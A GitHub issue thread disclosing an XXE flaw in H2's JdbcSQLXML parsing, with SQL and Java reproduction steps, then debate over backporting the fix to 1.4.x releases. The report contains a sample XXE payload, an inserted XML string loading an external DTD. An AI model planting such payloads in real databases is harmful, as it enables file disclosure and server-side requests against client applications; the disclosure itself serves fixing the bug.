Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Report a H2-Database-Engine SQLXML XXE vulnerability #3195

Closed
threedr3am opened this issue Oct 22, 2021 · 18 comments · Fixed by #3199
Closed

Report a H2-Database-Engine SQLXML XXE vulnerability #3195

threedr3am opened this issue Oct 22, 2021 · 18 comments · Fixed by #3199

Comments

@threedr3am
Copy link

threedr3am commented Oct 22, 2021

Hello, I am threedr3am of SecCoder Security Lab (contact@seccoder.club).

We found a security vulnerability(SCSL-2021-1001) in the H2-Database-Engine jar when using this component to connect to the h2 database , The returned data content field is parsed through SQLXML, which will cause the client XXE (https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing).

vulnerability detail:

When analyzing the data returned by the database, the org.h2.jdbc.JdbcResultSet class provides the getSQLXML(java.lang.String) method, which parses the string data into an object of the org.h2.jdbc.JdbcSQLXML class.

image

When the object executes the getSource(Class sourceClass) method, if the input parameter is DOMSource.class, it will result in unprotected parsing of XML, resulting in XXE.

image

vulnerability reproduction:

  1. The table exists in the database
create table tb_test (
  id bigint(20) unsigned NOT NULL AUTO_INCREMENT COMMENT '主键id',
  message text COMMENT 'SQLXML',
  PRIMARY KEY (`id`)
);
  1. There is data in the tb_test table
insert into tb_test(message) values('<?xml version="1.0" ?> <!DOCTYPE note [ <!ENTITY % remote SYSTEM "http://127.0.0.1:80/xxe.dtd"> %remote; ]>');
  1. Query the database to return the message field and parse it through SQLXML
Statement statement = connection.createStatement();
statement.execute("select * from tb_test");
ResultSet resultSet = statement.getResultSet();
while (resultSet.next()) {
     SQLXML sqlxml = resultSet.getSQLXML("message");
     sqlxml.getSource(DOMSource.class);
}
  1. result
    image
@threedr3am
Copy link
Author

This is a project repository to reproduce the vulnerability.
https://github.com/SecCoder-Security-Lab/jdbc-sqlxml-xxe

@Sascha82
Copy link

Dear all,

this issue has been detected by our vulnerability scanner durint our last deployment Mid of October. This is rated as an high issue, which needs to be fixed by end of year. I guess many other companies will be also affected by this issue, that's why a quick fix by end of November would be very helpful.

Can some developers pick this up asap and share some updates in the next days?

Thanks and best regards,
Sascha

@husseyd
Copy link

husseyd commented Nov 3, 2021

Second the comments on here - would love to see the above PR go through and a new release out soon.

andreitokar added a commit that referenced this issue Nov 5, 2021
Fix for #3195 CQLXML XXE vulnerability
@husseyd
Copy link

husseyd commented Nov 5, 2021

@andreitokar Can will this be published in a release and pushed to mvn etc?

@cdarau
Copy link

cdarau commented Nov 6, 2021

Same need over here - would love for this PR to go in a new release ASAP

cbvms123 pushed a commit to cbvms123/h2database that referenced this issue Nov 8, 2021
; Conflicts:
;	h2/src/main/org/h2/jdbc/JdbcSQLXML.java
@snicoll
Copy link

snicoll commented Dec 15, 2021

@andreitokar could you please consider backporting this? This forces everyone to migrate to 2.x

@katzyn
Copy link
Contributor

katzyn commented Dec 15, 2021

Sorry, we don't have enough time to produce patch releases for outdated versions of H2.

Only applications that use java.sql.SQLXML with XML data from untrusted sources are affected. SQLXML isn't used too often.

@lukaseder
Copy link
Contributor

The CVE has a score of 8.1 or 9.1, depending on who you're asking. It can't just be ignored by anyone using H2, especially now that dependabot has started complaining about the dependency! You'll probably hear more very soon, given how annoying dependabot can be :)

So, folks have to upgrade to a quite backwards incompatible 2.0 release from 1.4. Given that 2.0 can't read the 1.4 file format, that's really a significant problem.

I've tried numerous times to throw money at the problem, and I'm not alone, see #3048. But you don't seem to accept money 😅. So, is there any other way that would help convince maintainers to make an exception for this case, or even better, implement a branching strategy going forward?

My offer from #3048 stands...

@katzyn
Copy link
Contributor

katzyn commented Dec 17, 2021

Migration from 1.4.196 to 1.4.197 and so on also requires a dump and restore, otherwise database will be corrupted (with exception for upgrade from 1.4.198 to a bugfix release 1.4.199). Various, but not all very old releases also require that step.

We made various changes to make upgrade much simpler for new versions and upgrade from 2.0.202 to new releases shouldn't be that complicated. But we can't fix data format and SQL export format of old releases and in some cases we can't even determine data types of some columns from H2 1.* in reliable way.

At this time, a pull request in Hibernate ORM with a fix for an old issue HHH-14180 can help a lot I guess. Some other projects are already updated.

@lukaseder
Copy link
Contributor

Irrespective of the numbering scheme, all I'm saying is, if there were branches off each of these (major?) releases disguised as patch release numbers, then people could upgrade to get urgent fixes such as this one without having to deal with all the hassle of upgrading the rest.

To illustrate: A CVE this severe may need production patching. People can't risk taking down production by introducing 500 new features hastily just to get access to a CVE fix. That's how a 1.4.198.1, 1.4.199.1, 1.4.200.1 release (or whatever numbering scheme) would help a lot.

On a branch, automated tests and everything else still works as it used to, 2 years ago, untouched. So once the branching and branch releasing infrastructure is set up, then backports only consist of backporting the actual fix. I think this would definitely be worth it for important CVEs and bugs, no?

@manticore-projects
Copy link
Contributor

On a branch, automated tests and everything else still works as it used to, 2 years ago, untouched. So once the branching and branch releasing infrastructure is set up, then backports only consist of backporting the actual fix. I think this would definitely be worth it for important CVEs and bugs, no?

The back-port does not even need to be done by the H2 core team itself. Any interested developer could do it and submit a PR. But without a H2 branch, right now this is a futile attempt: I can write a PR against 1.4.200 but will never be able to publish it: my own repo is irrelevant and the official repo runs as a rolling release.

@katzyn
Copy link
Contributor

katzyn commented Dec 17, 2021

@lukaseder
We need a stable base for patch releases and a some infrastructure for them, because internally there is no x.y.z scheme, releases are numbered sequentially, 197, 198, 199, 200 and so on. Hypothetically we can produce patch releases in the future, but only for H2 2.0+ and after some changes in their internal numbers.

The current plan is to fix unexpected regressions in 2.0.202 and publish a patch release in the near future (2.0.204 or something like it). These fixes by itself need a lot of time.

I guess nobody has a time to mess with 1.4.* on our side. 1.4.200 is a completely outdated beta-quality version not really suitable for persistent databases, 1.4.199 is more reliable. Unfortunately, a bugfix release for 1.4.200 wasn't built when it was needed (like 1.4.199 was released to fix problems in buggy 1.4.198). Some people still use 1.4.197 or even 1.4.196, and these versions aren't affected by this vulnerability.

I should say again: if somebody wants to help, please, take a look on H2Dialect, H2IdentityColumnSupport, H2SequenceSupport, etc. in Hibernate ORM; their outdated state is the largest blocker for adoption of H2 2.0.

@consultantleon
Copy link

consultantleon commented Dec 17, 2021

From what I'm reading here, it confirms that the advise we give customers for years now is still correct: don't use H2 for production deployments. Only for local/testing/demo applications. We stuck with 1.4.193 as any later version caused pains and showed unacceptable bugs.
We're looking into postgresql as a free alternative, otherwise stick with mysql or the big name DBs when you plan to run critical production services.
(however much we love the free and simple H2...!)

@andreitokar
Copy link
Contributor

@consultantleon, While I am not going to discuss suitability of H2 for various applications, I just wonder what do you mean by "unacceptable bugs"? If for some reason you think, that those dozens and dozens of bugs, that have been fixed since 1.4.193 were acceptable, but any new regressions are not, then good luck in your search for that bug-free database with pain-free upgrades and zero cost.

BTW, as a consultant you should be able to advise you clients on how to back-port vulnerability fix and build a patched version yourself. All it takes is to cherry-pick a single commit from one branch to another. The problem arises when you need to publish "official" patched builds for multiple versions (1.4.193 1.4.197, 1.4.199, ...?). Some may argue, that home-made patch just won't cut it for a company "Foo", but I doubt, if they would ever select any software, not backed by a company (and H2 is not), in a first place.

P.S. Don't forget to write that 1-star review on Yelp 😄.

@chadlwilson
Copy link

@katzyn and @andreitokar - if someone helps with the logistics; figuring out the right commit to branch off and such, getting tests and build to pass, would you be willing to assist the community in pushing a release with just this fix - say 1.4.200.1?

Noting your comments on release numbering, perhaps it is sufficient for the community that this still identifies itself as 200, even if the jars are named 1.4.200.1 (and arguably 1.4.199.1 if some have identified that they weren't supposed to use 200)? Would such a compromise work?

I note @wclarkpk seems to be working on it. I'm wondering how the community can help reduce the effort for you to make it as easy as possible to cut and push a release so we can avoid repeat work by the large number of folks who are possibly using 1.4 and are not yet ready to make the breaking-ish migration to 2.0.x.

@katzyn
Copy link
Contributor

katzyn commented Dec 21, 2021

If you don't use affected methods of java.sql.SQLXML interface in your application you can safely ignore this vulnerability. It cannot be exposed if these methods aren't called. (Hibernate ORM doesn't call them by itself, BTW.)

More or less stable 1.4.199 has at least three security issues, all of them were discussed here, on GitHub, and nobody cares about other two. Why you want to fix only one that doesn't affect almost all applications? Other issues also affect only few applications, and yours may be not affected, but anyway.

Unfortunately, a fix of one of them cannot be backported to 1.4 series of releases without massive changes, it doesn't affect single-user applications, but it will be very strange to create a patch release for an outdated version that will still have security problems.

@chadlwilson
Copy link

@katzyn Thanks. I was not aware of other vulnerabilites in 1.4.200 or 1.4.199. There are none other that are filed against the CPE for 1.4.200 (or 1.4.199) at least. People rely on scanning tools to report issues with their transitives, due to the scale of most software - that is why this one is drawing more attention (rightly or wrongly). If there are indeed others such as CVE-2018-14335 (in changelog for 2.0.202), they are filed incorrectly with Mitre/NIST NVD (or not at all), as that one is only reported specifically against 1.4.197, not later versions.

I agree that the particular issue here doesn't affect everyone - for my particular usage I was intending to suppress with commentary and perhaps add static analysis rule to fail builds if this function is used (doesn't protect from libraries using it without some difficulty). Nevertheless, it does leave lingering risk for folks to have it there in case they start using that feature in future, and neglect some other practices.

I disagree with you that it is strange, since it's common practice to backport fixes when a new release makes breaking changes. However it depends what these other security issues are and their relative severity, likelihood of exploitation, available mitigations etc. It might be perfectly reasonable to patch a high/critical rated vulnerability while leaving a lower severity one unpatched (risk vs. effort/value).

Since I can't find those other ones, I can't really comment other than in general, however. If you can point me to the "difficult to backport" one, possible I'd better understand what you're getting at.

@katzyn
Copy link
Contributor

katzyn commented Dec 21, 2021

GRANT SELECT, INSERT, UPDATE, DELETE gives access not only to DML, but also to DDL commands on the specified table to the specified unprivileged user. For example, it can drop this table, change its constraints or do something else. Backport of fix for this issue is too complicated.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.